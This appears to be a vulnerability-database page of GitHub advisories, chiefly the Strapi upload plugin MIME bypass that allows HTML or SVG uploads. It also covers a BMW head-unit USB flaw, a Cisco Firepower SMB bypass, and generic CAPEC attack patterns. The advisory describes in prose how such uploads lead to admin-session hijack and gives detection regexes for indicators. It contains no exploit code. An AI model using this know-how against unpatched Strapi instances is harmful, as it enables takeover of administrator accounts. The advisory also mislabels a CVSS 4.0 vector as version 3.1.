Vulnerability from github – Published: 2026-05-14 13:12 – Updated: 2026-05-15 23:44
VLAI
Summary
Strapi Upload Plugin MIME Validation Bypass via Content API
Details

Summary of CVE-2026-22707 Vulnerability Details

  • CVE: CVE-2026-22707
  • CVSS v3.1 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N (5.3 — Medium)
  • Affected Versions: @strapi/upload <=5.33.2
  • How to Patch: Immediately update your Strapi to >=5.33.3

Description of CVE-2026-22707

In Strapi versions prior to 5.33.3, the Upload plugin's Content API endpoints did not enforce the administrator-configured MIME type restrictions (plugin.upload.security.allowedTypes and deniedTypes). The same restrictions were correctly enforced on the Admin Panel upload path.

The upload plugin's enforceUploadSecurity security check was invoked in the admin upload controller but was missing from the Content API controller. The Content API handlers uploadFiles and replaceFile (and the upload wrapper that dispatches to them) called the underlying upload service directly, bypassing both the magic-byte MIME detection and the configured allow/deny lists.

An authenticated user with the Content API upload permission could therefore upload file types the administrator had explicitly disallowed, including HTML and SVG content. In deployments serving uploaded files from the same origin as the admin panel (default), an attacker could upload an HTML or SVG file that, when opened directly by an admin, executed JavaScript in the admin origin, enabling admin-session hijack and authenticated administrative actions against the admin API.

The patch introduces a shared prepareUploadRequest helper that wraps enforceUploadSecurity and is called from both the Content API and admin upload controllers, ensuring identical security policy enforcement on every upload entry point.

IoC's for CVE-2026-22707

Indicators that an instance running an unpatched version may have been exploited:

  • Files in /uploads/ with extensions outside the configured allow-list, particularly .html, .htm, .svg, .js, .mjs, .xml, or .xhtml. Filesystem regex: \.(html?|svg|m?js|x?html|xml)$
  • Successful 201 responses from POST /api/upload where the uploaded file's MIME or extension is outside the configured allowedTypes
  • Server access logs showing non-administrator users uploading files with executable web content types. Content-Type regex: text/html|application/javascript|image/svg\+xml
  • Admin browsing logs (X-Forwarded-For, User-Agent) opening files under /uploads/*.html or /uploads/*.svg shortly before unexpected administrative actions (user creation, role changes, permission modifications)

References

Credits

Reported independently by: - @kaminuma (initial report, 2026-01-09) - @arkmarta (concurrent report, 2026-01-13 — originally filed as GHSA-r7hp-523c-r8wr, closed as duplicate)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.33.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@strapi/upload"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.33.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22707"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T13:12:56Z",
    "nvd_published_at": "2026-05-14T19:16:30Z",
    "severity": "MODERATE"
  },
  "details": "### Summary of CVE-2026-22707 Vulnerability Details\n\n- CVE: CVE-2026-22707\n- CVSS v3.1 Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N` (5.3 \u2014 Medium)\n- Affected Versions: `@strapi/upload` \u003c=5.33.2\n- How to Patch: Immediately update your Strapi to \u003e=5.33.3\n\n### Description of CVE-2026-22707\n\nIn Strapi versions prior to 5.33.3, the Upload plugin\u0027s Content API endpoints did not enforce the administrator-configured MIME type restrictions (`plugin.upload.security.allowedTypes` and `deniedTypes`). The same restrictions were correctly enforced on the Admin Panel upload path.\n\nThe upload plugin\u0027s `enforceUploadSecurity` security check was invoked in the admin upload controller but was missing from the Content API controller. The Content API handlers `uploadFiles` and `replaceFile` (and the `upload` wrapper that dispatches to them) called the underlying upload service directly, bypassing both the magic-byte MIME detection and the configured allow/deny lists.\n\nAn authenticated user with the Content API upload permission could therefore upload file types the administrator had explicitly disallowed, including HTML and SVG content. In deployments serving uploaded files from the same origin as the admin panel (default), an attacker could upload an HTML or SVG file that, when opened directly by an admin, executed JavaScript in the admin origin, enabling admin-session hijack and authenticated administrative actions against the admin API.\n\nThe patch introduces a shared `prepareUploadRequest` helper that wraps `enforceUploadSecurity` and is called from both the Content API and admin upload controllers, ensuring identical security policy enforcement on every upload entry point.\n\n### IoC\u0027s for CVE-2026-22707\n\nIndicators that an instance running an unpatched version may have been exploited:\n\n- Files in `/uploads/` with extensions outside the configured allow-list, particularly `.html`, `.htm`, `.svg`, `.js`, `.mjs`, `.xml`, or `.xhtml`. Filesystem regex: `\\.(html?|svg|m?js|x?html|xml)$`\n- Successful 201 responses from `POST /api/upload` where the uploaded file\u0027s MIME or extension is outside the configured `allowedTypes`\n- Server access logs showing non-administrator users uploading files with executable web content types. Content-Type regex: `text/html|application/javascript|image/svg\\+xml`\n- Admin browsing logs (X-Forwarded-For, User-Agent) opening files under `/uploads/*.html` or `/uploads/*.svg` shortly before unexpected administrative actions (user creation, role changes, permission modifications)\n\n## References\n\n- **CWE-693**: Protection Mechanism Failure\n- **CWE-434**: Unrestricted Upload of File with Dangerous Type\n- **OWASP**: Unrestricted File Upload\n- [Strapi 5 Documentation - Media Library](https://docs.strapi.io/cms/features/media-library)\n- [Strapi Security Policy](https://github.com/strapi/strapi/security/policy)\n\n## Credits\n\nReported independently by:\n- @kaminuma (initial report, 2026-01-09)\n- @arkmarta (concurrent report, 2026-01-13 \u2014 originally filed as GHSA-r7hp-523c-r8wr, closed as duplicate)",
  "id": "GHSA-pcw7-5633-82vv",
  "modified": "2026-05-15T23:44:33Z",
  "published": "2026-05-14T13:12:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/security/advisories/GHSA-pcw7-5633-82vv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22707"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/strapi/strapi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Strapi Upload Plugin MIME Validation Bypass via Content API"
}

GHSA-PF8C-W99C-VG7W

Vulnerability from github – Published: 2022-05-14 03:15 – Updated: 2022-05-14 03:15
VLAI
Details

The Head Unit HU_NBT (aka Infotainment) component on BMW i Series, BMW X Series, BMW 3 Series, BMW 5 Series, and BMW 7 Series vehicles produced in 2012 through 2018 allows a local attack when a USB device is plugged in.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-9312"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-05-31T12:29:00Z",
    "severity": "HIGH"
  },
  "details": "The Head Unit HU_NBT (aka Infotainment) component on BMW i Series, BMW X Series, BMW 3 Series, BMW 5 Series, and BMW 7 Series vehicles produced in 2012 through 2018 allows a local attack when a USB device is plugged in.",
  "id": "GHSA-pf8c-w99c-vg7w",
  "modified": "2022-05-14T03:15:27Z",
  "published": "2022-05-14T03:15:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9312"
    },
    {
      "type": "WEB",
      "url": "https://keenlab.tencent.com/en/Experimental_Security_Assessment_of_BMW_Cars_by_KeenLab.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.theregister.co.uk/2018/05/23/bmw_security_bugs"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/104258"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PFR7-HWQP-3M5F

Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35
VLAI
Details

A vulnerability in the detection engine of Cisco Firepower System Software could allow an unauthenticated, remote attacker to bypass a configured file action policy to drop the Server Message Block (SMB) protocol if a malware file is detected. The vulnerability is due to how the SMB protocol handles a case in which a large file transfer fails. This case occurs when some pieces of the file are successfully transferred to the remote endpoint, but ultimately the file transfer fails and is reset. An attacker could exploit this vulnerability by sending a crafted SMB file transfer request through the targeted device. An exploit could allow the attacker to pass an SMB file that contains malware, which the device is configured to block. This vulnerability affects Cisco Firepower System Software when one or more file action policies are configured, on software releases prior to 6.2.3. Cisco Bug IDs: CSCvc20141.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-0244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-19T20:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the detection engine of Cisco Firepower System Software could allow an unauthenticated, remote attacker to bypass a configured file action policy to drop the Server Message Block (SMB) protocol if a malware file is detected. The vulnerability is due to how the SMB protocol handles a case in which a large file transfer fails. This case occurs when some pieces of the file are successfully transferred to the remote endpoint, but ultimately the file transfer fails and is reset. An attacker could exploit this vulnerability by sending a crafted SMB file transfer request through the targeted device. An exploit could allow the attacker to pass an SMB file that contains malware, which the device is configured to block. This vulnerability affects Cisco Firepower System Software when one or more file action policies are configured, on software releases prior to 6.2.3. Cisco Bug IDs: CSCvc20141.",
  "id": "GHSA-pfr7-hwqp-3m5f",
  "modified": "2022-05-13T01:35:32Z",
  "published": "2022-05-13T01:35:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0244"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180418-fss1"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/103945"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-107: Cross Site Tracing

Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-20: Encryption Brute Forcing

An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-237: Escaping a Sandbox by Calling Code in Another Language

The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content

An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.

CAPEC-480: Escaping Virtualization

An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.

CAPEC-51: Poison Web Service Registry

SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-65: Sniff Application Code

An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.

CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)

An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.

CAPEC-74: Manipulating State

The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.

State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.

If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.

CAPEC-87: Forceful Browsing

An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.